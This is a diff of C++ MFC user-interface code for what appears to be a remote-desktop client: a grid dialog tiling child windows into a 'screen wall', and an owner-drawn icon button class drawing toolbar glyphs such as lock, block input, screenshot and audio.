std::vector<std::vector<CPoint>> m_paths; // 所有路径
CPoint m_RightClickPos; // 右键点击位置
CEdit* m_pInputEdit = nullptr; // 类成员变量
std::vector<std::pair<CPoint, CString>> m_Texts;
CFont m_font; // 添加字体成员
CPen m_pen; // 画笔
public:
afx_msg void OnDrawingTopmost();
afx_msg void OnDrawingTransport();
afx_msg void OnDrawingMove();
afx_msg void OnDrawingSize();
virtual BOOL OnInitDialog();
afx_msg void OnDrawingClear();
afx_msg void OnDrawingText();
};

View File

@@ -0,0 +1,223 @@
#include "stdafx.h"
#include "afxdialogex.h"
#include "CGridDialog.h"
#include "Resource.h"
BEGIN_MESSAGE_MAP(CGridDialog, CDialog)
ON_WM_SIZE()
ON_WM_LBUTTONDBLCLK()
ON_MESSAGE(WM_CHILD_CLOSED, &CGridDialog::OnChildClosed)
END_MESSAGE_MAP()
CGridDialog::CGridDialog() : CDialogLang()
{
}
BOOL CGridDialog::OnInitDialog()
{
m_hIcon = ::LoadIconA(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
SetIcon(m_hIcon, FALSE);
__super::OnInitDialog();
// 设置对话框标题(解决英语系统乱码问题)
SetWindowText(_TR("屏幕墙"));
return TRUE;
}
void CGridDialog::SetGrid(int rows, int cols)
{
m_rows = rows;
m_cols = cols;
m_max = rows * cols;
LayoutChildren();
}
BOOL CGridDialog::AddChild(CDialog* pDlg)
{
if (!pDlg || !::IsWindow(pDlg->GetSafeHwnd()) || m_children.size() >= m_max)
return FALSE;
pDlg->SetParent(this);
pDlg->ShowWindow(SW_SHOW);
// 去掉标题栏和调整大小
LONG style = ::GetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE);
style &= ~(WS_CAPTION | WS_THICKFRAME | WS_SIZEBOX | WS_BORDER);
::SetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE, style);
::SetWindowPos(pDlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0, SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
m_children.push_back(pDlg);
LayoutChildren();
return TRUE;
}
void CGridDialog::RemoveChild(CDialog* pDlg)
{
auto it = std::find(m_children.begin(), m_children.end(), pDlg);
if (it != m_children.end()) {
(*it)->ShowWindow(SW_HIDE);
(*it)->SetParent(nullptr);
m_children.erase(it);
// 删除 m_origState 中对应条目
auto itState = m_origState.find(pDlg);
if (itState != m_origState.end())
m_origState.erase(itState);
// 如果关闭的子窗口是当前最大化窗口,重置 m_pMaxChild
if (m_pMaxChild == pDlg)
m_pMaxChild = nullptr;
LayoutChildren();
}
}
LRESULT CGridDialog::OnChildClosed(WPARAM wParam, LPARAM lParam)
{
CDialog* pDlg = (CDialog*)wParam;
RemoveChild(pDlg);
return 0;
}
void CGridDialog::LayoutChildren()
{
if (m_children.size() == 0) {
// 恢复父窗口标题栏
if (m_parentStyle != 0) {
::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle);
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
m_parentStyle = 0;
}
ShowWindow(SW_HIDE);
return;
}
if (m_rows <= 0 || m_cols <= 0 || m_children.empty() || m_pMaxChild != nullptr)
return;
CRect rcClient;
GetClientRect(&rcClient);
int w = rcClient.Width() / m_cols;
int h = rcClient.Height() / m_rows;
for (size_t i = 0; i < m_children.size(); ++i) {
int r = (int)i / m_cols;
int c = (int)i % m_cols;
if (r >= m_rows)
break; // 超过网格范围
int x = c * w;
int y = r * h;
m_children[i]->MoveWindow(x, y, w, h, TRUE);
m_children[i]->ShowWindow(SW_SHOW);
}
}
void CGridDialog::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
if (m_pMaxChild == nullptr) {
LayoutChildren();
} else {
// 最大化状态下,保持铺满父对话框
CRect rcClient;
GetClientRect(&rcClient);
m_pMaxChild->MoveWindow(rcClient, TRUE);
}
}
void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point)
{
// 如果当前有最大化的子窗口,双击任何地方都恢复
if (m_pMaxChild != nullptr) {
// 恢复子窗口样式和位置
for (auto& kv : m_origState) {
CDialog* dlg = kv.first;
const ChildState& state = kv.second;
::SetWindowLong(dlg->GetSafeHwnd(), GWL_STYLE, state.style);
::SetWindowPos(dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
dlg->MoveWindow(state.rect, TRUE);
dlg->ShowWindow(SW_SHOW);
}
// 恢复父窗口标题栏
if (m_parentStyle != 0) {
::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle);
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
m_parentStyle = 0;
}
// 刷新父窗口
m_pMaxChild = nullptr;
m_origState.clear();
LayoutChildren();
return; // 已处理,返回
}
// 没有最大化子窗口,则按原逻辑找到点击的子窗口进行最大化
for (auto dlg : m_children) {
CRect rc;
dlg->GetWindowRect(&rc);
ScreenToClient(&rc);
if (rc.PtInRect(point)) {
// 保存所有子窗口原始状态
m_origState.clear();
for (auto d : m_children) {
ChildState state;
d->GetWindowRect(&state.rect);
ScreenToClient(&state.rect);
state.style = ::GetWindowLong(d->GetSafeHwnd(), GWL_STYLE);
m_origState[d] = state;
}
// 最大化点击的子窗口
LONG style = m_origState[dlg].style;
style |= (WS_CAPTION | WS_THICKFRAME | WS_SYSMENU | WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
::SetWindowLong(dlg->GetSafeHwnd(), GWL_STYLE, style);
::SetWindowPos(dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
// 隐藏父窗口标题栏
if (m_parentStyle == 0)
m_parentStyle = ::GetWindowLong(m_hWnd, GWL_STYLE);
LONG parentStyle = m_parentStyle & ~(WS_CAPTION | WS_THICKFRAME);
::SetWindowLong(m_hWnd, GWL_STYLE, parentStyle);
::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0,
SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
// 全屏显示子窗口
CRect rcClient;
GetClientRect(&rcClient);
dlg->MoveWindow(rcClient, TRUE);
m_pMaxChild = dlg;
// 隐藏其他子窗口
for (auto d : m_children)
if (d != dlg) d->ShowWindow(SW_HIDE);
break;
}
}
__super::OnLButtonDblClk(nFlags, point);
}
BOOL CGridDialog::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) {
return TRUE;// 屏蔽Enter和ESC关闭对话
}
return __super::PreTranslateMessage(pMsg);
}

View File

@@ -0,0 +1,48 @@
#pragma once
#include <vector>
#include <map>
#include <afxwin.h>
#include "LangManager.h"
#define WM_CHILD_CLOSED (WM_USER + 100)
class CGridDialog : public CDialogLang
{
public:
CGridDialog();
BOOL AddChild(CDialog* pDlg); // 动态添加子对话框
void RemoveChild(CDialog* pDlg); // 动态移除子对话框
void SetGrid(int rows, int cols); // 设置行列数
void LayoutChildren(); // 布局
BOOL HasSlot() const
{
return m_children.size() < m_max;
}
protected:
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnLButtonDblClk(UINT nFlags, CPoint point);
virtual BOOL PreTranslateMessage(MSG* pMsg);
afx_msg LRESULT OnChildClosed(WPARAM wParam, LPARAM lParam);
DECLARE_MESSAGE_MAP()
private:
HICON m_hIcon;
int m_rows = 0;
int m_cols = 0;
int m_max = 0;
std::vector<CDialog*> m_children;
// 最大化相关
CDialog* m_pMaxChild = nullptr; // 当前最大化的子对话框
LONG m_parentStyle = 0; // 父窗口原始样式
struct ChildState {
CRect rect; // 原始位置
LONG style; // 原始窗口样式
};
std::map<CDialog*, ChildState> m_origState;
};

View File

@@ -0,0 +1,618 @@
#include "stdafx.h"
#include "CIconButton.h"
IMPLEMENT_DYNAMIC(CIconButton, CButton)
BEGIN_MESSAGE_MAP(CIconButton, CButton)
ON_WM_MOUSEMOVE()
ON_WM_MOUSELEAVE()
ON_WM_ERASEBKGND()
END_MESSAGE_MAP()
// Colors
static const COLORREF CLR_NORMAL = RGB(50, 50, 50);
static const COLORREF CLR_HOVER = RGB(70, 70, 70);
static const COLORREF CLR_PRESSED = RGB(90, 90, 90);
static const COLORREF CLR_CLOSE_HOVER = RGB(196, 43, 28);
static const COLORREF CLR_ICON = RGB(255, 255, 255);
CIconButton::CIconButton()
: m_fnDrawIcon(nullptr)
, m_bHover(false)
, m_bIsCloseButton(false)
, m_bTracking(false)
{
}
CIconButton::~CIconButton()
{
}
void CIconButton::PreSubclassWindow()
{
// Ensure BS_OWNERDRAW is set
ModifyStyle(0, BS_OWNERDRAW);
CButton::PreSubclassWindow();
}
void CIconButton::DrawItem(LPDRAWITEMSTRUCT lpDIS)
{
CDC* pDC = CDC::FromHandle(lpDIS->hDC);
CRect rc(lpDIS->rcItem);
bool bPressed = (lpDIS->itemState & ODS_SELECTED) != 0;
// Pick background color
COLORREF clrBg = CLR_NORMAL;
if (bPressed) {
clrBg = CLR_PRESSED;
} else if (m_bHover) {
clrBg = m_bIsCloseButton ? CLR_CLOSE_HOVER : CLR_HOVER;
}
// Draw rounded-rect background
CBrush brush(clrBg);
CPen pen(PS_SOLID, 1, clrBg);
CPen* pOldPen = pDC->SelectObject(&pen);
CBrush* pOldBrush = pDC->SelectObject(&brush);
pDC->RoundRect(rc, CPoint(4, 4));
pDC->SelectObject(pOldBrush);
pDC->SelectObject(pOldPen);
// Draw icon in a centered 16x16 area
if (m_fnDrawIcon) {
int iconSize = 16;
CRect rcIcon;
rcIcon.left = rc.left + (rc.Width() - iconSize) / 2;
rcIcon.top = rc.top + (rc.Height() - iconSize) / 2;
rcIcon.right = rcIcon.left + iconSize;
rcIcon.bottom = rcIcon.top + iconSize;
m_fnDrawIcon(pDC, rcIcon);
}
}
void CIconButton::OnMouseMove(UINT nFlags, CPoint point)
{
if (!m_bTracking) {
TRACKMOUSEEVENT tme = {};
tme.cbSize = sizeof(tme);
tme.dwFlags = TME_LEAVE;
tme.hwndTrack = m_hWnd;
TrackMouseEvent(&tme);
m_bTracking = true;
}
if (!m_bHover) {
m_bHover = true;
Invalidate(FALSE);
}
CButton::OnMouseMove(nFlags, point);
}
void CIconButton::OnMouseLeave()
{
m_bHover = false;
m_bTracking = false;
Invalidate(FALSE);
CButton::OnMouseLeave();
}
BOOL CIconButton::OnEraseBkgnd(CDC* pDC)
{
return TRUE; // prevent flicker
}
// ====================================================================
// Static icon drawing functions
// All draw white shapes within the given 16x16 CRect.
// ====================================================================
static CPen* SelectWhitePen(CDC* pDC, CPen& pen, int width = 2)
{
pen.CreatePen(PS_SOLID, width, CLR_ICON);
return pDC->SelectObject(&pen);
}
// Exit Fullscreen: 4 inward-pointing corner arrows
void CIconButton::DrawIconExitFullscreen(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
int m = 3; // margin from edge
// Top-left corner L-shape (pointing inward)
pDC->MoveTo(rc.left + m, rc.top + m + 5);
pDC->LineTo(rc.left + m, rc.top + m);
pDC->LineTo(rc.left + m + 5, rc.top + m);
// Top-right corner
pDC->MoveTo(rc.right - m - 5, rc.top + m);
pDC->LineTo(rc.right - m, rc.top + m);
pDC->LineTo(rc.right - m, rc.top + m + 5);
// Bottom-left corner
pDC->MoveTo(rc.left + m, rc.bottom - m - 5);
pDC->LineTo(rc.left + m, rc.bottom - m);
pDC->LineTo(rc.left + m + 5, rc.bottom - m);
// Bottom-right corner
pDC->MoveTo(rc.right - m - 5, rc.bottom - m);
pDC->LineTo(rc.right - m, rc.bottom - m);
pDC->LineTo(rc.right - m, rc.bottom - m - 5);
// Inner square
int inset = 5;
CRect inner(rc.left + inset, rc.top + inset, rc.right - inset, rc.bottom - inset);
pDC->SelectStockObject(NULL_BRUSH);
pDC->Rectangle(inner);
pDC->SelectObject(pOld);
}
// Play: filled right-pointing triangle
void CIconButton::DrawIconPlay(CDC* pDC, const CRect& rc)
{
CBrush brush(CLR_ICON);
CBrush* pOldBrush = pDC->SelectObject(&brush);
CPen pen(PS_SOLID, 1, CLR_ICON);
CPen* pOldPen = pDC->SelectObject(&pen);
int cx = rc.CenterPoint().x;
int cy = rc.CenterPoint().y;
POINT pts[3] = {
{ rc.left + 3, rc.top + 2 },
{ rc.right - 2, cy },
{ rc.left + 3, rc.bottom - 2 }
};
pDC->Polygon(pts, 3);
pDC->SelectObject(pOldBrush);
pDC->SelectObject(pOldPen);
}
// Pause: two vertical bars
void CIconButton::DrawIconPause(CDC* pDC, const CRect& rc)
{
CBrush brush(CLR_ICON);
int barW = 3;
int gap = 3;
int totalW = barW * 2 + gap;
int x = rc.left + (rc.Width() - totalW) / 2;
int y1 = rc.top + 2;
int y2 = rc.bottom - 2;
pDC->FillSolidRect(x, y1, barW, y2 - y1, CLR_ICON);
pDC->FillSolidRect(x + barW + gap, y1, barW, y2 - y1, CLR_ICON);
}
// Lock: closed padlock (U-shackle + body)
void CIconButton::DrawIconLock(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
int cx = rc.CenterPoint().x;
// Shackle (arc)
pDC->Arc(cx - 4, rc.top + 1, cx + 4, rc.top + 9, cx + 4, rc.top + 5, cx - 4, rc.top + 5);
// Body rectangle
CBrush brush(CLR_ICON);
CBrush* pOldBrush = pDC->SelectObject(&brush);
pDC->Rectangle(cx - 5, rc.top + 7, cx + 5, rc.bottom - 1);
pDC->SelectObject(pOldBrush);
pDC->SelectObject(pOld);
}
// Unlock: open padlock
void CIconButton::DrawIconUnlock(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
int cx = rc.CenterPoint().x;
// Shackle (open - shifted up and right)
pDC->Arc(cx - 4, rc.top - 1, cx + 4, rc.top + 7, cx + 4, rc.top + 3, cx - 4, rc.top + 3);
// Body rectangle
CBrush brush(CLR_ICON);
CBrush* pOldBrush = pDC->SelectObject(&brush);
pDC->Rectangle(cx - 5, rc.top + 7, cx + 5, rc.bottom - 1);
pDC->SelectObject(pOldBrush);
pDC->SelectObject(pOld);
}
// Arrow Down: chevron pointing down
void CIconButton::DrawIconArrowDown(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
int cx = rc.CenterPoint().x;
int cy = rc.CenterPoint().y;
pDC->MoveTo(rc.left + 3, cy - 3);
pDC->LineTo(cx, cy + 3);
pDC->LineTo(rc.right - 3, cy - 3);
pDC->SelectObject(pOld);
}
// Arrow Up: chevron pointing up
void CIconButton::DrawIconArrowUp(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
int cx = rc.CenterPoint().x;
int cy = rc.CenterPoint().y;
pDC->MoveTo(rc.left + 3, cy + 3);
pDC->LineTo(cx, cy - 3);
pDC->LineTo(rc.right - 3, cy + 3);
pDC->SelectObject(pOld);
}
// Arrow Left: chevron pointing left
void CIconButton::DrawIconArrowLeft(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
int cx = rc.CenterPoint().x;
int cy = rc.CenterPoint().y;
pDC->MoveTo(cx + 3, rc.top + 3);
pDC->LineTo(cx - 3, cy);
pDC->LineTo(cx + 3, rc.bottom - 3);
pDC->SelectObject(pOld);
}
// Arrow Right: chevron pointing right
void CIconButton::DrawIconArrowRight(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
int cx = rc.CenterPoint().x;
int cy = rc.CenterPoint().y;
pDC->MoveTo(cx - 3, rc.top + 3);
pDC->LineTo(cx + 3, cy);
pDC->LineTo(cx - 3, rc.bottom - 3);
pDC->SelectObject(pOld);
}
// Opacity Full: filled circle
void CIconButton::DrawIconOpacityFull(CDC* pDC, const CRect& rc)
{
CBrush brush(CLR_ICON);
CPen pen(PS_SOLID, 1, CLR_ICON);
CPen* pOldPen = pDC->SelectObject(&pen);
CBrush* pOldBrush = pDC->SelectObject(&brush);
int inset = 3;
pDC->Ellipse(rc.left + inset, rc.top + inset, rc.right - inset, rc.bottom - inset);
pDC->SelectObject(pOldBrush);
pDC->SelectObject(pOldPen);
}
// Opacity Medium: circle outline + center dot
void CIconButton::DrawIconOpacityMedium(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
pDC->SelectStockObject(NULL_BRUSH);
int inset = 3;
pDC->Ellipse(rc.left + inset, rc.top + inset, rc.right - inset, rc.bottom - inset);
// Center dot
int cx = rc.CenterPoint().x;
int cy = rc.CenterPoint().y;
CBrush dotBrush(CLR_ICON);
CRect dotRc(cx - 2, cy - 2, cx + 2, cy + 2);
pDC->FillSolidRect(dotRc, CLR_ICON);
pDC->SelectObject(pOld);
}
// Opacity Low: circle outline only
void CIconButton::DrawIconOpacityLow(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
pDC->SelectStockObject(NULL_BRUSH);
int inset = 3;
pDC->Ellipse(rc.left + inset, rc.top + inset, rc.right - inset, rc.bottom - inset);
pDC->SelectObject(pOld);
}
// Screenshot: camera outline
void CIconButton::DrawIconScreenshot(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
pDC->SelectStockObject(NULL_BRUSH);
// Camera body
pDC->RoundRect(rc.left + 1, rc.top + 4, rc.right - 1, rc.bottom - 1, 3, 3);
// Lens (circle)
int cx = rc.CenterPoint().x;
int cy = (rc.top + 4 + rc.bottom - 1) / 2;
pDC->Ellipse(cx - 3, cy - 3, cx + 3, cy + 3);
// Flash bump on top
pDC->MoveTo(cx - 2, rc.top + 4);
pDC->LineTo(cx - 4, rc.top + 1);
pDC->LineTo(cx + 4, rc.top + 1);
pDC->LineTo(cx + 2, rc.top + 4);
pDC->SelectObject(pOld);
}
// Switch Screen: two overlapping rectangles with arrow
void CIconButton::DrawIconSwitchScreen(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
pDC->SelectStockObject(NULL_BRUSH);
// Back rectangle (offset top-left)
pDC->Rectangle(rc.left + 1, rc.top + 1, rc.right - 4, rc.bottom - 4);
// Front rectangle (offset bottom-right)
pDC->Rectangle(rc.left + 4, rc.top + 4, rc.right - 1, rc.bottom - 1);
pDC->SelectObject(pOld);
}
// Block Input: mouse with X overlay
void CIconButton::DrawIconBlockInput(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
// Mouse body outline
int cx = rc.CenterPoint().x;
pDC->SelectStockObject(NULL_BRUSH);
pDC->RoundRect(cx - 4, rc.top + 1, cx + 4, rc.bottom - 1, 4, 4);
// Mouse wheel line
pDC->MoveTo(cx, rc.top + 4);
pDC->LineTo(cx, rc.top + 7);
// X overlay (block)
pDC->MoveTo(rc.left + 2, rc.top + 2);
pDC->LineTo(rc.right - 2, rc.bottom - 2);
pDC->MoveTo(rc.right - 2, rc.top + 2);
pDC->LineTo(rc.left + 2, rc.bottom - 2);
pDC->SelectObject(pOld);
}
// Unblock Input: mouse without X
void CIconButton::DrawIconUnblockInput(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
// Mouse body outline
int cx = rc.CenterPoint().x;
pDC->SelectStockObject(NULL_BRUSH);
pDC->RoundRect(cx - 4, rc.top + 1, cx + 4, rc.bottom - 1, 4, 4);
// Mouse wheel line
pDC->MoveTo(cx, rc.top + 4);
pDC->LineTo(cx, rc.top + 7);
pDC->SelectObject(pOld);
}
// Quality: gear/cog shape (simplified as sliders icon)
void CIconButton::DrawIconQuality(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
// Three horizontal slider lines with knobs at different positions
int x1 = rc.left + 2, x2 = rc.right - 2;
int y1 = rc.top + 3, y2 = rc.CenterPoint().y, y3 = rc.bottom - 3;
// Line 1 with knob left
pDC->MoveTo(x1, y1); pDC->LineTo(x2, y1);
pDC->FillSolidRect(x1 + 2, y1 - 2, 4, 4, CLR_ICON);
// Line 2 with knob right
pDC->MoveTo(x1, y2); pDC->LineTo(x2, y2);
pDC->FillSolidRect(x2 - 6, y2 - 2, 4, 4, CLR_ICON);
// Line 3 with knob middle
pDC->MoveTo(x1, y3); pDC->LineTo(x2, y3);
int mid = (x1 + x2) / 2;
pDC->FillSolidRect(mid - 2, y3 - 2, 4, 4, CLR_ICON);
pDC->SelectObject(pOld);
}
// Restore Console: Letter "R" (for RDP session restore)
void CIconButton::DrawIconRestoreConsole(CDC* pDC, const CRect& rc)
{
// 创建字体绘制 "R"
CFont font;
font.CreateFont(
rc.Height() + 2, // height - 字体更大
0, 0, 0, // width, escapement, orientation
FW_BOLD, // weight - 更粗
FALSE, FALSE, FALSE, // italic, underline, strikeout
DEFAULT_CHARSET,
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, CLEARTYPE_QUALITY,
DEFAULT_PITCH | FF_SWISS,
_T("Arial Black")
);
CFont* pOldFont = pDC->SelectObject(&font);
pDC->SetTextColor(CLR_ICON);
pDC->SetBkMode(TRANSPARENT);
pDC->DrawText(_T("R"), -1, (LPRECT)&rc, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
pDC->SelectObject(pOldFont);
}
// Minimize: horizontal dash
void CIconButton::DrawIconMinimize(CDC* pDC, const CRect& rc)
{
int cy = rc.CenterPoint().y;
pDC->FillSolidRect(rc.left + 3, cy - 1, rc.Width() - 6, 2, CLR_ICON);
}
// Close: X mark
void CIconButton::DrawIconClose(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
int m = 3;
pDC->MoveTo(rc.left + m, rc.top + m);
pDC->LineTo(rc.right - m, rc.bottom - m);
pDC->MoveTo(rc.right - m, rc.top + m);
pDC->LineTo(rc.left + m, rc.bottom - m);
pDC->SelectObject(pOld);
}
// Info: circle with "i" letter (status info visible)
void CIconButton::DrawIconInfo(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
int cx = rc.CenterPoint().x;
int cy = rc.CenterPoint().y;
int r = min(rc.Width(), rc.Height()) / 2 - 2;
// Circle
pDC->SelectStockObject(NULL_BRUSH);
pDC->Ellipse(cx - r, cy - r, cx + r, cy + r);
// "i" letter - dot and line
pDC->FillSolidRect(cx - 1, cy - r + 3, 2, 2, CLR_ICON); // dot
pDC->MoveTo(cx, cy - 2);
pDC->LineTo(cx, cy + r - 3); // vertical line
pDC->SelectObject(pOld);
}
// Info Hide: circle with "i" and diagonal line (status info hidden)
void CIconButton::DrawIconInfoHide(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
int cx = rc.CenterPoint().x;
int cy = rc.CenterPoint().y;
int r = min(rc.Width(), rc.Height()) / 2 - 2;
// Circle
pDC->SelectStockObject(NULL_BRUSH);
pDC->Ellipse(cx - r, cy - r, cx + r, cy + r);
// "i" letter - dot and line
pDC->FillSolidRect(cx - 1, cy - r + 3, 2, 2, CLR_ICON); // dot
pDC->MoveTo(cx, cy - 2);
pDC->LineTo(cx, cy + r - 3); // vertical line
// Diagonal strike-through
pDC->MoveTo(rc.left + 2, rc.bottom - 2);
pDC->LineTo(rc.right - 2, rc.top + 2);
pDC->SelectObject(pOld);
}
// Helper function to draw a letter icon (similar to DrawIconRestoreConsole)
static void DrawLetterIcon(CDC* pDC, const CRect& rc, LPCTSTR letter)
{
CFont font;
font.CreateFont(
rc.Height() + 2, // height
0, 0, 0, // width, escapement, orientation
FW_BOLD, // weight
FALSE, FALSE, FALSE, // italic, underline, strikeout
DEFAULT_CHARSET,
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, CLEARTYPE_QUALITY,
DEFAULT_PITCH | FF_SWISS,
_T("Arial Black")
);
CFont* pOldFont = pDC->SelectObject(&font);
pDC->SetTextColor(CLR_ICON);
pDC->SetBkMode(TRANSPARENT);
pDC->DrawText(letter, -1, (LPRECT)&rc, DT_CENTER | DT_VCENTER | DT_SINGLELINE);
pDC->SelectObject(pOldFont);
}
// Letter X icon
void CIconButton::DrawIconLetterX(CDC* pDC, const CRect& rc)
{
DrawLetterIcon(pDC, rc, _T("X"));
}
// Letter Y icon
void CIconButton::DrawIconLetterY(CDC* pDC, const CRect& rc)
{
DrawLetterIcon(pDC, rc, _T("Y"));
}
// Letter Z icon
void CIconButton::DrawIconLetterZ(CDC* pDC, const CRect& rc)
{
DrawLetterIcon(pDC, rc, _T("Z"));
}
// Audio On: speaker with sound waves
void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
CBrush brush(CLR_ICON);
CBrush* pOldBrush = pDC->SelectObject(&brush);
int cx = rc.CenterPoint().x;
int cy = rc.CenterPoint().y;
// Speaker body (trapezoid shape)
POINT speaker[6] = {
{ rc.left + 2, cy - 2 }, // top-left of rectangle
{ rc.left + 5, cy - 2 }, // top-right of rectangle
{ rc.left + 8, cy - 5 }, // top of cone
{ rc.left + 8, cy + 5 }, // bottom of cone
{ rc.left + 5, cy + 2 }, // bottom-right of rectangle
{ rc.left + 2, cy + 2 } // bottom-left of rectangle
};
pDC->Polygon(speaker, 6);
pDC->SelectObject(pOldBrush);
// Sound waves (arcs on the right side)
pDC->SelectStockObject(NULL_BRUSH);
pDC->Arc(rc.left + 9, cy - 3, rc.left + 13, cy + 3,
rc.left + 13, cy - 3, rc.left + 13, cy + 3);
pDC->Arc(rc.left + 11, cy - 5, rc.right - 1, cy + 5,
rc.right - 1, cy - 5, rc.right - 1, cy + 5);
pDC->SelectObject(pOld);
}
// Audio Off: speaker with slash
void CIconButton::DrawIconAudioOff(CDC* pDC, const CRect& rc)
{
CPen pen;
CPen* pOld = SelectWhitePen(pDC, pen, 2);
CBrush brush(CLR_ICON);
CBrush* pOldBrush = pDC->SelectObject(&brush);
int cx = rc.CenterPoint().x;
int cy = rc.CenterPoint().y;
// Speaker body (trapezoid shape)
POINT speaker[6] = {
{ rc.left + 2, cy - 2 }, // top-left of rectangle
{ rc.left + 5, cy - 2 }, // top-right of rectangle
{ rc.left + 8, cy - 5 }, // top of cone
{ rc.left + 8, cy + 5 }, // bottom of cone
{ rc.left + 5, cy + 2 }, // bottom-right of rectangle
{ rc.left + 2, cy + 2 } // bottom-left of rectangle
};
pDC->Polygon(speaker, 6);
pDC->SelectObject(pOldBrush);
// X mark on the right side (muted)
pDC->MoveTo(rc.left + 10, cy - 3);
pDC->LineTo(rc.right - 2, cy + 3);
pDC->MoveTo(rc.right - 2, cy - 3);
pDC->LineTo(rc.left + 10, cy + 3);
pDC->SelectObject(pOld);
}

View File

@@ -0,0 +1,66 @@
#pragma once
// CIconButton - Owner-draw button with geometric icon drawing
// Used by the fullscreen toolbar for a modern, icon-based appearance.
#include <functional>
class CIconButton : public CButton
{
DECLARE_DYNAMIC(CIconButton)
public:
// Icon drawing function: receives CDC* and icon bounding CRect
typedef void (*IconDrawFunc)(CDC* pDC, const CRect& rc);
CIconButton();
virtual ~CIconButton();
void SetIconDrawFunc(IconDrawFunc fn) { m_fnDrawIcon = fn; }
void SetIsCloseButton(bool b) { m_bIsCloseButton = b; }
// --- Static icon draw functions ---
static void DrawIconExitFullscreen(CDC* pDC, const CRect& rc);
static void DrawIconPlay(CDC* pDC, const CRect& rc);
static void DrawIconPause(CDC* pDC, const CRect& rc);
static void DrawIconLock(CDC* pDC, const CRect& rc);
static void DrawIconUnlock(CDC* pDC, const CRect& rc);
static void DrawIconArrowDown(CDC* pDC, const CRect& rc);
static void DrawIconArrowUp(CDC* pDC, const CRect& rc);
static void DrawIconArrowLeft(CDC* pDC, const CRect& rc);
static void DrawIconArrowRight(CDC* pDC, const CRect& rc);
static void DrawIconOpacityFull(CDC* pDC, const CRect& rc);
static void DrawIconOpacityMedium(CDC* pDC, const CRect& rc);
static void DrawIconOpacityLow(CDC* pDC, const CRect& rc);
static void DrawIconScreenshot(CDC* pDC, const CRect& rc);
static void DrawIconSwitchScreen(CDC* pDC, const CRect& rc);
static void DrawIconBlockInput(CDC* pDC, const CRect& rc);
static void DrawIconUnblockInput(CDC* pDC, const CRect& rc);
static void DrawIconQuality(CDC* pDC, const CRect& rc);
static void DrawIconRestoreConsole(CDC* pDC, const CRect& rc);
static void DrawIconMinimize(CDC* pDC, const CRect& rc);
static void DrawIconClose(CDC* pDC, const CRect& rc);
static void DrawIconInfo(CDC* pDC, const CRect& rc);
static void DrawIconInfoHide(CDC* pDC, const CRect& rc);
static void DrawIconLetterX(CDC* pDC, const CRect& rc); // 字母 X 图标
static void DrawIconLetterY(CDC* pDC, const CRect& rc); // 字母 Y 图标
static void DrawIconLetterZ(CDC* pDC, const CRect& rc); // 字母 Z 图标
static void DrawIconAudioOn(CDC* pDC, const CRect& rc); // 音频开启图标 (喇叭+声波)
static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线)
protected:
virtual void DrawItem(LPDRAWITEMSTRUCT lpDrawItemStruct);
virtual void PreSubclassWindow();
